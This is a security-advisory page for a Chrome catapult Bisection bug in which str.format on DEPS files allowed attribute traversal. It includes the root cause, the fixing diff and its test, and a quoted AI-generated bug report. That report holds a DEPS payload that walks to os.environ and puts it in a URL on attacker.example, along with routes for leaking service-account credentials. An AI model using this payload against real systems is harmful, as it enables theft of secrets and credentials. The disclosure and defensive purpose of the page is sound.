Medium watch CVSS 6.5 chrome Logic Error 📄 Reporter bug report 🔧 Commit mapped

Overview

Medium
Severity
6.5
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactCode injection in Bisection
DescriptionCode injection in Bisection
ComponentBisection
Sub-componentCatapult
Bug ClassLogic Error
Action tierwatch — information disclosure — security-relevant, below the RCE-class bar
Computed by PatchGap's deterministic exploitability ruler from the fixing commit. patch-now = RCE-class & attacker-reachable in a default config, or exploited in the wild; watch = real security signal below that bar; noise = no security relevance.
Tracker523232966
Fix commit9f045bedcaee (catapult) +31/-2
CWECWE-94
CVSS vectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
CISA KEVNot listed
CreditedGoogle
Reported2026-06-12 (per vendor advisory)
Fix landed2026-07-17 (public git)
Disclosed2026-08-25
Patch gap39 days — fix public in source before the advisory

Background

DEPS file
a Python-syntax dependency manifest (.gclient/DEPS) that gclient evaluates to determine which repositories to check out.
`gclient_eval`
a depot_tools module that evaluates DEPS expressions via an AST walker (rather than exec), expanding {name} variable placeholders from a vars dict.
`str.format` field access
Python’s str.format resolves {x.attr} and {x[key]} through attribute/item access, allowing traversal into object internals such as __class__/__globals__.
Bisection
Chrome’s automated performance/regression bisection tooling (catapult), which consumes DEPS through gclient_eval while checking out revisions.

Root Cause Analysis

The vulnerable path expanded variable placeholders in string literals and dependency names using Python’s built-in str.format (node.s.format(**vars_dict) and dep_name.format(**vars_dict)). Because str.format honors attribute- and item-access syntax, a DEPS file containing a placeholder like {bar.__class__} (or a deeper __globals__ traversal) could walk from a supplied vars value into Python internals and read process state such as os.environ, turning a data-substitution feature into an evaluation primitive. The invariant that only simple top-level key substitution is permitted was never enforced.

The fix routes both call sites through the new _ExpandVars, which formats via a _SafeFormatter subclass of string.Formatter whose get_field raises ValueError when a field name contains . or [. This preserves legitimate {name} substitution while denying attribute/item traversal, as the added test_format_attribute_traversal confirms.

Key insight
The core mistake was applying unrestricted str.format — whose field grammar permits attribute/item traversal — to attacker-controlled DEPS strings; the fix constrains substitution to plain key lookups by rejecting . and [ in field names inside _SafeFormatter.get_field.

Attack Path

  1. Supply a malicious DEPS the attacker gets a crafted DEPS/.gclient file evaluated by gclient_eval during bisection (e.g. via a controlled dependency or revision under test).
  2. Embed a format traversal the file uses a string literal or dep name such as "{bar.__class__}" referencing a declared var, so expansion invokes str.format on it.
  3. Traverse into internals str.format resolves the attribute chain to reach Python object internals (e.g. __class__/__globals__) and read process state such as os.environ (inferred beyond the __class__ access the shipped test demonstrates).
  4. Disclose or inject the traversed value surfaces through the evaluated DEPS (e.g. as a dependency name/URL), leaking secrets or influencing checkout, consistent with the advisory’s “code injection” classification (inferred).

Impact Assessment

An attacker who controls DEPS content parsed by gclient_eval can escape simple variable substitution and traverse Python internals, reading process state (e.g. environment variables or secrets) in the bisection tooling’s process context. The advisory classifies this as code injection in Bisection; broader command/code execution beyond attribute-and-item traversal is (inferred). The precondition is that a crafted DEPS file must be evaluated by the vulnerable gclient_eval.

Changed Functions

FunctionChangeNotes
_SafeFormatter
third_party/depot_tools/depot_tools/gclient_eval.py
modified
Error
third_party/depot_tools/depot_tools/gclient_eval.py
modified

Files Changed

  • third_party/depot_tools/depot_tools/gclient_eval.py
  • third_party/depot_tools/depot_tools/tests/gclient_eval_unittest.py

Audit Directions

  • Unrestricted `str.format` on untrusted input
    search for .format(/str.format applied to attacker-influenced templates; any such use permits {x.attr}/{x[key]} traversal and should go through a restricted formatter or string.Template.
  • Manifest/config evaluators
    review other DEPS/config parsers that substitute variables to confirm they use safe substitution rather than raw formatting, %, or eval/exec.
  • AST-based "safe eval" walkers
    audit gclient_eval-style interpreters for other places where a Python builtin with hidden reflective power (format, f-string helpers) is applied to node values.
From 9f045bedcaeec77d68388382a19e0677dc987bd6 Mon Sep 17 00:00:00 2001
From: Wenbin Zhang <[email protected]>
Date: Thu, 16 Jul 2026 11:28:29 -0700
Subject: [PATCH] [catapult] update gclient_eval to resolve security concern on string.format()

Using the latest version from depot_tool which has this issue fixed already.

Bug: 523232966
Change-Id: If9a0448560fcd552c4c4bc1928e0aa2ce481f340
Reviewed-on: https://chromium-review.googlesource.com/c/catapult/+/8109357
Reviewed-by: John Chen <[email protected]>
Commit-Queue: Wenbin Zhang <[email protected]>
---
diff --git a/third_party/depot_tools/depot_tools/gclient_eval.py b/third_party/depot_tools/depot_tools/gclient_eval.py
index 2d8e536..79a57f5 100644
--- a/third_party/depot_tools/depot_tools/gclient_eval.py
+++ b/third_party/depot_tools/depot_tools/gclient_eval.py
@@ -6,6 +6,7 @@
 import collections
 from io import StringIO
 import logging
+import string
 import sys
 import threading
 import tokenize
@@ -18,6 +19,26 @@
   from third_party import schema
 
 
+class _SafeFormatter(string.Formatter):
+
+    def get_field(self, field_name, args, kwargs):
+        if '.' in field_name or '[' in field_name:
+            raise ValueError('Attribute and item access are not allowed: %s' %
+                             field_name)
+        return super().get_field(field_name, args, kwargs)
+
+_SAFE_FORMATTER = _SafeFormatter()
+
+def _ExpandVars(value, vars_dict):
+    """Expands {name} placeholders in |value| using |vars_dict|.
+
+    Unlike str.format(), this only permits simple top-level key substitution
+    and rejects attribute access (`{x.attr}`) and item access (`{x[key]}`),
+    which would otherwise allow a malicious DEPS file to traverse into Python
+    internals (e.g. __globals__) and read process state such as os.environ.
+    """
+    return _SAFE_FORMATTER.format(value, **vars_dict)
+
 class Error(Exception):
   """gclient exception class."""
   def __init__(self, msg, *args, **kwargs):
@@ -337,7 +358,7 @@
             if vars_dict is None:
                 return node.s
             try:
-                return node.s.format(**vars_dict)
+                return _ExpandVars(node.value, vars_dict)
             except KeyError as e:
                 raise KeyError(
                     '%s was used as a variable, but was not declared in the vars dict '
@@ -500,7 +521,7 @@
     """
     new_deps_dict = {}
     for dep_name, dep_info in deps_dict.items():
-        dep_name = dep_name.format(**vars_dict)
+        dep_name = _ExpandVars(dep_name, vars_dict)
         if not isinstance(dep_info, collections.abc.Mapping):
             dep_info = {'url': dep_info}
         dep_info.setdefault('dep_type', 'git')
diff --git a/third_party/depot_tools/depot_tools/tests/gclient_eval_unittest.py b/third_party/depot_tools/depot_tools/tests/gclient_eval_unittest.py
index 65d83a8..6afdd16 100755
--- a/third_party/depot_tools/depot_tools/tests/gclient_eval_unittest.py
+++ b/third_party/depot_tools/depot_tools/tests/gclient_eval_unittest.py
@@ -78,6 +78,14 @@
         self.assertIn('bar was used as a variable, but was not declared',
                       str(cm.exception))
 
+    def test_format_attribute_traversal(self):
+        with self.assertRaises(ValueError) as cm:
+            gclient_eval._gclient_eval('"{bar.__class__}"',
+                                       vars_dict={'bar': 'foo'})
+        self.assertIn(
+            'Attribute and item access are not allowed: bar.__class__',
+            str(cm.exception))
+
     def test_plus(self):
         self.assertEqual('foo', gclient_eval._gclient_eval('"f" + "o" + "o"'))
 
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/third_party/depot_tools/depot_tools/tests/gclient_eval_unittest.py b/third_party/depot_tools/depot_tools/tests/gclient_eval_unittest.py
index 65d83a8..6afdd16 100755
--- a/third_party/depot_tools/depot_tools/tests/gclient_eval_unittest.py
+++ b/third_party/depot_tools/depot_tools/tests/gclient_eval_unittest.py
@@ -78,6 +78,14 @@
         self.assertIn('bar was used as a variable, but was not declared',
                       str(cm.exception))
 
+    def test_format_attribute_traversal(self):
+        with self.assertRaises(ValueError) as cm:
+            gclient_eval._gclient_eval('"{bar.__class__}"',
+                                       vars_dict={'bar': 'foo'})
+        self.assertIn(
+            'Attribute and item access are not allowed: bar.__class__',
+            str(cm.exception))
+
     def test_plus(self):
         self.assertEqual('foo', gclient_eval._gclient_eval('"f" + "o" + "o"'))
Loading diff…

Original Bug Report

reported by [email protected]

Sandbox escape and credential disclosure in vendored gclient_eval.py on Pinpoint

Project Fortify, an experimental security project, has identified the following potential security issue. If you’re a feature owner CC-ed on this bug, please do your best to review these reports. Please see https://chromium.googlesource.com/chromium/src/+/main/docs/security/ai-generated-security-bugs-faq.md for more information.

Overview: A copy of gclient_eval.py vendored by catapult for Pinpoint lacks the safety formatting filters used upstream in depot_tools to prevent native str.format() sandbox escapes. Consequently, parsing a maliciously crafted DEPS file with nested attribute lookups can potentially allow an attacker to traverse Python attributes to retrieve sensitive environment variables and exfiltrate Google App Engine credentials. This affects Pinpoint’s bisection service which evaluates historical DEPS files during regression analysis.

Affected files:

  • third_party/catapult/third_party/depot_tools/depot_tools/gclient_eval.py

Estimated timestamp from git blame: 2020-07-13

Description

The catapult-vendored copy of gclient_eval.py at third_party/catapult/third_party/depot_tools/depot_tools/gclient_eval.py does not include the _SafeFormatter mitigation class defined upstream in third_party/depot_tools/gclient_eval.py. Upstream, _SafeFormatter rejects attribute and item traversal (. or [ in format placeholders) before rendering.

Without this safety wrapper, the catapult-vendored code calls native str.format() on evaluated string templates directly:

  • Line 340: return node.s.format(**vars_dict) within _convert
  • Line 503: dep_name = dep_name.format(**vars_dict) within _StandardizeDeps

Potential Gadget Chain

An attacker could potentially craft a schema-compliant DEPS file using the permitted ConstantString type (exposed as Str() inside the sandbox parser):

vars = {
    'g': Str('x'),
}
deps = {
    'src/x': 'https://attacker.example/{g.__class__.__init__.__globals__[sys].modules[os].environ}@deadbeef',
}

During evaluation, gclient_eval resolves g to a ConstantString instance. Because the file imports sys globally, the native str.format() walks from the instance’s __class__.__init__.__globals__ to the global sys module, resolves os.environ, and serializes the server’s environment variables directly into the resulting URL template.

Potential Trigger Path

  1. Commit Submission: An attacker lands a modified DEPS file with the gadget above in any repository tracked by Chromium or its recursedeps. Even if reverted, the commit remains in the git history.
  2. Bisection Execution: A Pinpoint bisection job runs across the commit range. To identify dependency changes, the engine invokes Commit.Deps() in third_party/catapult/dashboard/dashboard/pinpoint/models/change/commit.py at line 107.
  3. DEPS Parsing: Pinpoint pulls the file content via Gitiles and passes it to the vulnerable parser: gclient_eval.Parse(deps_file_contents, ...) (line 130). This executes the direct .format() expansion.

Potential Exfiltration Channels

  • Cloud Logging: The parsed URL with the serialized environment is logged via logging.debug at line 150 of commit.py.
  • App Engine Datastore: If the dependency URL is processed, it is registered in Repository via _AddRepository in repository.py and written to the ndb Datastore via put().
  • Authenticated HTTP GET Request: If adjacent commits carry differing repository urls, subsequent bisection checks trigger gitiles_service.CommitRange(). This issues an HTTPS GET request using an authenticated client configured via utils.ServiceAccountHttp() (which wraps google_auth_httplib2.AuthorizedHttp), leaking the serialized environment within the URL and the service-account OAuth bearer credentials in the Authorization header to the attacker’s server.

Note: These are potential steps and impacts identified by analysis; our tooling does not currently have the capability to run code to confirm live exploitability on production App Engine instances.

Suggested Fix

Backport the safety implementation from third_party/depot_tools/gclient_eval.py into the catapult copy at third_party/catapult/third_party/depot_tools/depot_tools/gclient_eval.py. Specifically, implement the _SafeFormatter class:

class _SafeFormatter(string.Formatter):
    def get_field(self, field_name, args, kwargs):
        if '.' in field_name or '[' in field_name:
            raise ValueError('Attribute and item access are not allowed: %s' % field_name)
        return super(_SafeFormatter, self).get_field(field_name, args, kwargs)

And wrap variable expansion to ensure nested attribute lookups are strictly rejected.

Evaluated with Chrome root at commit: b2fea2e31df308d0f04e4ae47def4c4f939ee141


Results so far have been promising, but there can be wrong deductions. Feel free to adjust as follows:

  • If you are familiar with the severity guidelines, you may adjust the severity.
  • If this is a false positive, and there’s no work to be done, please close as WAI.
  • If there is work to do here but not a vulnerability, please change the issue type to Task/Bug/FR.

Data from false positives will be used to improve accuracy over time. And please feel free to reach out to me directly if you have concerns or feedback on the project.

Raised in root component due to access or custom field issues on 1457058

View on issue tracker